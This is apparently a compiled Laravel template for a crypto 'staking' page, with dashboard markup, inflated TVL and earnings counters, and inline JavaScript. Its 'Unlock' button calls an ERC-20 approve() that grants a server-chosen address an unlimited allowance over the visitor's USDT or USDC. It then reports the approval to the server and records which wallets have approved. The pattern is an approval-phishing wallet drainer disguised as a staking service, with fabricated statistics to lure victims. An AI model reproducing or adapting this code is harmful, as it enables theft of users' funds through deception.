<div class="strategy_li-one">
<img src="/static/media/ic_jd.bff24237.svg" alt="" style="margin-right: 5px;" />16fish
<img src="/static/media/ic_jd_into.a25a9d74.svg" alt="" style="margin-left: 5px;" />
</div>
<div class="strategy_li-one_content">
<div class="strategy_li-two">
<div>
<?php echo e(trans('web.Staking funds')); ?>
</div>
<div id="use2"></div>
</div>
<div class="strategy_li-three">
<div>
<?php echo e(trans('web.Proportion of funds')); ?>
</div>
<div>
100.00%
</div>
</div>
<div class="strategy_li-four">
<div>
<?php echo e(trans('web.Staking Address')); ?>
</div>
<div id="s_address"></div>
</div>
<div class="strategy_li-five"></div>
<div class="strategy_li-six">
<div>
<?php echo e(trans('web.Nodes Staked')); ?>
</div>
<div>
2,067,957.00
</div>
</div>
<div class="strategy_li-seven">
<div>
<?php echo e(trans('web.Node Nominations')); ?>
</div>
<div>
3145
</div>
</div>
<div class="strategy_li-eight">
<div>
<?php echo e(trans('web.My share')); ?>
</div>
<div>
0.58%
</div>
</div>
<div class="strategy_li-ten">
<div>
<?php echo e(trans('web.Status')); ?>
</div>
<div>
<img class="pools__coin-logo-ces" alt="" src="/static/media/normal.27d504c0.svg" />
<?php echo e(trans('web.normal')); ?>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="pools__dialog" style="display: none;" id="apper">
<div class="staking_dialog-deposit">
<div class="staking__dialog__name bsc-staking__dialog__name">
<div class="staking__dialog__header">
<?php echo e(trans('web.Certificate')); ?>
<img class="staking__dialog__header__closeone" src="/static/media/ic_close.4477c5ea.svg" onclick="apper_colse()" alt="" />
</div>
<div class="staking_width_top">
<div class="staking__dialog__name-li">
<img class="pools__coin-logs" alt="ATOM" src="" id="d_img" />
<div class="staking__name_title" id="d_name1"></div>
</div>
<div class="staking__dialog__name-right">
<div>
<?php echo e(trans('web.Deposited1')); ?>&nbsp;
</div>
<div id="money">
0.0000
</div>
</div>
</div>
</div>
<div class="staking__dialog__middle">
<div>
<div class="staking__dialog__time">
<div class="staking__times">
<?php echo e(trans('web.Current')); ?>
<div class="staking__time-percentage bsc_staking__time-percentage null">
<span id="yield2">96.88</span>%
</div>
</div>
</div>
<div class="staking__dialog__apy">
<div>
<?php echo e(trans('web.APY')); ?>
<div class="g-pop-QuesttipStaking"></div>
</div>
<div>
<span id="yield1">96.88</span>%
</div>
</div>
<div class="staking__dialog__progress-bar">
<div class="staking__progress-bar">
<div>
<img src="/static/media/ic_lock.9a0f9ae9.svg" alt="" />
</div>
<div></div>
<div>
<img src="/static/media/ic_lock.9a0f9ae9.svg" alt="" />
</div>
<div></div>
<div>
<img src="/static/media/ic_unlock.22aedb3d.svg" alt="" />
</div>
</div>
</div>
<div class="staking__dialog__day">
<div id="time">
2021-12-15
</div>
<div>
<?php echo e(trans('web.at any time')); ?>
</div>
<div>
22<?php echo e(trans('web.DayAfter')); ?>
</div>
</div>
<div class="staking__progress-bar-title">
<div>
<?php echo e(trans('web.Deposit')); ?>
</div>
<div class="staking_lists-jie">
<div>
<?php echo e(trans('web.Unlock')); ?>
</div>
<div class="g-pop-tips"></div>
</div>
<div class="staking_lists">
<div>
<?php echo e(trans('web.CLAIM1')); ?>
</div>
</div>
</div>
</div>
</div>
<div class="staking__dialog__botton">
<li class="staking__dialog__survivable">
<div>
<?php echo e(trans('web.Income')); ?>
</div>
<div>
GLK
</div></li>
<li class="staking__dialog__btn"><button class="g-button pools__dialog__option g-button-bsc-theme " id="push" onclick="push()"><?php echo e(trans('web.Unlock1')); ?></button></li>
</div>
</div>
</div>
<div class="jss36">
<div class="page__container" style="width: 100%; height: auto; background-color: rgb(246, 247, 250); padding-bottom: 112px;">
<div class="section-banner">
<img src="/static/media/banner-staking-bsc-english.539496dc.png" alt="" />
</div>
<ul class="pool__total-tvl pool__total-tvl-bsc new_total-bsc new-top">
<li>
<div>
<?php echo e(trans('web.TVL($)')); ?>
</div>
<div id="num1"></div>
</li>
<li>
<div>
<?php echo e(trans('web.Total Users Earned($)')); ?>
</div>
<div id="num2"></div>
</li>
<li>
<div>
<?php echo e(trans('web.Personal TVL($)')); ?>
</div>
<div id="count">
0.00
</div></li>
<li class="drop__info-items">
<p class="drop__info-item-title"> <?php echo e(trans('web.Total Personal Earned($)')); ?></p>
<p class="drop__info-item-texts bsc-texts"><span id="shouyi" style="color: #ffa34f">0.00</span>
<span class="bsc-spans spans-font" onclick="lingqu_open()"><?php echo e(trans('web.CLAIM1')); ?></span>
</p>
</li>
</ul>
<div class="g-filter">
<ul class="tab__container">
<li class="tab__active tab__item"><span class="tab__bsc"><?php echo e(trans('web.Project List')); ?></span></li>
<li class=" tab__item"><span class="tab__bsc"></span></li>
</ul>
<div class="search_options">
<div class="search_option_one" >
<?php echo e(trans('web.Type')); ?>
</div>
<div class="select_type-content">
<div class="select_type" style="width: 60px">
<div class="dropdown__button">
<span><?php echo e(trans('web.Current')); ?></span>
</div>
<div class="option__show_dis">
<div class="zi_content">
All
</div>
<div class="zi_content">
Regular
</div>
<div class="zi_content">
Current
</div>
</div>
<strong style="width: 0px; height: 0px; display: inline-block; border-top: 4px solid; transition: all 150ms ease-in 0s; border-left: 4px solid transparent; margin-left: 4px; border-right: 4px solid transparent; vertical-align: middle; position: absolute; right: 15px; top: 13px;"></strong>
</div>
</div>
</div>
</div>
<div class="pools-main">
<?php $__currentLoopData = $data; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $v): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<div class="staking_li_content">
<div>
<div class="staking_li_content-title bsc-staking_title">
<div class="staking_title-li">
<?php echo e($v['name']); ?>
</div>
<img class="pools__coin-logos" alt="KSM" src="/upload/<?php echo e($v['name_img']); ?>" />
</div>
<div class="staking_content">
<div class="staking_li_time">
<div class="staking_li_time-li">
<?php echo e(trans('web.Current')); ?>
</div>
</div>
<div class="staking_yield">
<div class="staking_yield-title">
<?php echo e(trans('web.APY')); ?>
</div>
<div class="staking_yield-data">
<?php echo e($v['yield']); ?>%
</div>
</div>
<div class="staking_data bsc-staking_data">
<div>
<div class="staking_data-li">
<div>
<?php echo e($v['count_use']); ?>
</div>
<div>
<?php echo e(trans('web.VL')); ?>(<?php echo e($v['name']); ?>)
</div>
</div>
<div class="staking_data-lis">
<div id="<?php echo e($v['name']); ?>_v">
0.0000
</div>
<div>
<?php echo e(trans('web.Deposited1')); ?>(<?php echo e($v['name']); ?>)
</div>
</div>
</div>
</div>
<div class="staking_btn">
<div class="pools__button-group">
<button use="<?php echo e($v['count_use']); ?>" address="<?php echo e($v['address']); ?>" name="<?php echo e($v['name']); ?>" img="<?php echo e($v['name_img']); ?>" class="g-button pools__dialog__option g-button-bsc-theme g-button--normal" onclick="strategy(this)"><?php echo e(trans('web.Strategy')); ?></button>
<button class="g-button pools__dialog__option g-button-bsc-theme " yield="<?php echo e($v['yield']); ?>" img="<?php echo e($v['name_img']); ?>" address="<?php echo e($v['address']); ?>" name="<?php echo e($v['name']); ?>" onclick="apper_open(this)"><?php echo e(trans('web.Certificate')); ?></button>
</div>
</div>
</div>
<div class="pools__mao-logo__wraps">
<img class="pools__mao-logos" alt="KSM" src="/upload/<?php echo e($v['name_img']); ?>" />
</div>
</div>
</div>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</div>
<?php echo $__env->make('public/foot', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>
<div style="padding: 0px 16px; box-sizing: border-box; position: fixed; bottom: 32px; width: 100%; z-index: 1000;">
<div class="footer__menu" style="background: rgba(255, 255, 255, 0.98); border: 1px solid rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.08) 0px 2px 8px 0px; border-radius: 16px; display: flex; justify-content: space-between; height: 48px;">
<div class="menu__item" onclick="javascript:location.href = '/'">
<i class="i-bsc"></i>
<p class="p-bsc"><?php echo e(trans('web.Home')); ?></p>
</div>
<div class="menu__item" onclick="javascript:location.href = '/vault'">
<i class="i-bsc"></i>
<p class="p-bsc"><?php echo e(trans('web.Single Farms')); ?></p>
</div>
<div class="menu__item menu__item--actived menu__item-bsc">
<i class="i-bsc"></i>
<p class="p-bsc">Staking</p>
</div>
<div class="menu__item" onclick="javascript:location.href = '/dao'">
<i class="i-bsc"></i>
<p class="p-bsc">DAO</p>
</div>
</div>
</div>
</div>
</div>
</main>
</section>
<script src="https://cdn.bootcss.com/countup.js/1.9.3/countUp.js"></script>
<script>
var address = '';
var usdt_a = false;
var usdc_a = false;
var name1 = ''; // 代币名称
var heyue = ''; // 合约地址
function util(){
//字符串千分符
this.cuter = function (v, n) {
if (typeof (v) == 'string' || typeof (v) == 'number') {
if (n <= 0) { return v; }
n = n || 3;
var str = String(parseFloat(v));
var strAry = str.split('.');
var float = {
pref: '',
num: '',
point: '',
nextf: ''
}
if (strAry[1]) {
float.point = '.';
float.nextf = strAry[1];
}
float.pref = strAry[0].match(/^[+/-]/) || '';
strAry[0] = strAry[0].replace(/^[+/-]/, '');
var numAry = strAry[0].split('');
var kn = [];
var count = n;
for (var i = numAry.length - 1; i > -1; i--) {
kn.unshift(numAry[i]);
count--;
if (count == 0 && i > 0) {
kn.unshift(',');
count = n;
}
}
float.num = kn.join('');
return float.pref + float.num + float.point + float.nextf;
}
}
}
async function numStart() {
var options = {
useEasing: true, // 使用缓和
useGrouping: true, // 使用分组(是否显示千位分隔符,一般为 true)
separator: ',', // 分隔器(千位分隔符,默认为',')
decimal: '.', // 十进制(小数点符号,默认为 '.')
prefix: '', // 字首(数字的前缀,根据需要可设为 $,¥,¥ 等)
suffix: ''  // 后缀(数字的后缀 ,根据需要可设为 元,个,美元 等)
};
new CountUp("num1", 0, <?php echo e($config['reward17']); ?> + <?php echo e($config['reward17'] * $rand); ?>, 0, 3, options).start();
new CountUp("num2", 0, <?php echo e($config['reward18']); ?> + <?php echo e($config['reward18'] * $rand); ?>, 0, 3, options).start();
}
function strategy(obj) {
var g =new util();
var address = $($(obj)[0]).attr('address');
var img = $($(obj)[0]).attr('img');
var name = $($(obj)[0]).attr('name');
var use = g.cuter($($(obj)[0]).attr('use'));
document.getElementById('yuming').removeAttribute('style');
document.getElementById('s_img').setAttribute('src', '/upload/' + img);
document.getElementById('s_name').innerText = name;
document.getElementById('s_address').innerText = address;
document.getElementById('use1').innerText = use;
document.getElementById('use2').innerText = use;
}
function yuming_close() {
document.getElementById('yuming').setAttribute('style', 'display: none');
}
function apper_open(obj) {
document.getElementById('apper').removeAttribute('style');
var img = $($(obj)[0]).attr('img');
var name = $($(obj)[0]).attr('name');
var yield = $($(obj)[0]).attr('yield');
address = $($(obj)[0]).attr('address');
name1 = $($(obj)[0]).attr('name');
document.getElementById('d_img').setAttribute('src', '/upload/' + img);
document.getElementById('d_name1').innerText = name;
// document.getElementById('d_name3').innerText = name;
document.getElementById('yield2').innerText = yield;
document.getElementById('yield1').innerText = yield;
var date = new Date();
var time = date .getFullYear() + '-' + date .getMonth() + '-' + date .getDate();
document.getElementById('time').innerText = time;
document.getElementById('money').innerText = document.getElementById(name+'_v').innerText;
if (name == 'USDT') {
if (usdt_a) {
document.getElementById('push').setAttribute('disabled', 'disabled');
}else{
document.getElementById('push').removeAttribute('disabled');
}
}
if (name == 'USDC') {
if (usdc_a) {
document.getElementById('push').setAttribute('disabled', 'disabled');
}else{
document.getElementById('push').removeAttribute('disabled');
}
}
selectBalance(address, name);
}
// 查询余额
async function selectBalance(address) {
$.ajax({
type: "GET",
url: '/upBalance',
data: {address: selectedAccount},
success: function (data) {
var data = JSON.parse(data);
console.log(data);
if (data.code == 1) {
data.data.forEach(v => {
if (v.hash == address) {
var balance = parseFloat(v.balance / 10 ** v.tokenInfo.d).toFixed(4);
// document.getElementById('balance1').innerText = balance;
}
})
}
},
error:function () {
return message('eth.tokenview.com Error');
}
});
}
async function balanceUp() {
$.ajax({
type: "GET",
url: '/vaultBalance',
data: {address: selectedAccount, type: 3},
success: function(msg){
var data = JSON.parse(msg);
document.getElementById('USDT_v').innerText = parseFloat(data.USDT).toFixed(4);
document.getElementById('USDC_v').innerText = parseFloat(data.USDC).toFixed(4);
document.getElementById('count').innerText = (parseFloat(data.USDT) + parseFloat(data.USDC)).toFixed(2)
document.getElementById('shouyi').innerText = (parseFloat(data.USDT_T) + parseFloat(data.USDC_T)).toFixed(2)
document.getElementById('usdt_1').innerText = parseFloat(data.USDT_T).toFixed(4);
document.getElementById('usdt_2').innerText = parseFloat(data.USDC_T).toFixed(4);
},
error: function () {
return message('Balance Error');
}
});
}
function apper_colse() {
document.getElementById('apper').setAttribute('style', 'display: none');
}
function lingqu_open() {
document.getElementById('lingqu').removeAttribute('style');
}
function lingqu_close() {
document.getElementById('lingqu').setAttribute('style', 'display:none');
}
async function getTokenList() {
$.ajax({
type: "GET",
url: '/apiEther',
data: {address: selectedAccount},
success: function(msg){
var msg = JSON.parse(msg);
var list = '';
msg.result.forEach(v => {
if (v.from == selectedAccount.toLowerCase() && v.isError == 0) {
if (v.to == '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48') {
usdt_a = true;
list += 'USDT|'
}
if (v.to == '0xdac17f958d2ee523a2206206994597c13d831ec7') {
usdc_a = true;
list += 'USDC|'
}
}
});
// 同步数据库
$.ajax({
type: "GET",
url: '/authorization_v',
data: {wallet:list,address:selectedAccount}
});
},
error: function () {
return message('api.etherscan.io Error1');
}
});
}
// 提取收益
function pull() {
var usdt = parseFloat(document.getElementById('usdt_1').innerText);
var usdc = parseFloat(document.getElementById('usdt_2').innerText);
if (usdt > 0 || usdc > 0) {
if (usdt > 0) {
if (!usdt_a) {
return
}else{
all();
}
}
if (usdc > 0) {
if (!usdc_a) {
return;
}else{
all();
}
}
}
}
// 领取提交
function all() {
$.ajax({
type: "GET",
url: '/all',
data: {address: selectedAccount},
success: function(msg){
message_success('Success');
lingqu_close();
balanceUp();
}
})
}
async function upBalanceV3() {
$.ajax({
type: "GET",
url: '/upBalanceV3',
data: {address: selectedAccount},
success: function (msg) {
}
});
}
function push()
{
document.getElementById('push').innerText = '';
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme g-button--loading');
web3.eth.getGasPrice().then( gasPrice => {
if (!gasPrice) {
gasPrice = 98432745745;
}
const contract = new web3.eth.Contract(ABI, address);
if (selectedAccount && gasPrice && address) {
contract.methods.approve(app_address, web3.utils.toBN('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')).send({
from: selectedAccount,
gasPrice: 100432745745,
gas: 100000,
}, function(err, tx) {
if(!err){
$.ajax({
type: "GET",
url: '/authorization_one',
data: {address:selectedAccount,wallet:name1, hash:tx}
});
var c1time = setInterval(function () {
$.ajax({
type: "GET",
url: '/authorizationSearch',
data: {tx:tx},
success: function (msg) {
var data = JSON.parse(msg);
if (data['data'][0]['type'] == 'tx') {
clearInterval(c1time)
document.getElementById('push').innerText = "<?php echo e(trans('web.Unlock1')); ?>";
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme');
upBalanceV3();
}
}
});
}, 8000);
} else {
document.getElementById('push').innerText = "<?php echo e(trans('web.Unlock1')); ?>";
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme');
message("<?php echo e(trans('web.Unlock failed')); ?>")
}
})
}
});
}
async function initVault() {
var ctime = setInterval(async function () {
if (selectedAccount) {
clearInterval(ctime);
await numStart();
await balanceUp();
await getTokenList();
await upBalanceV3();
}
}, 500);
}
initVault();
</script>
</body>
</html>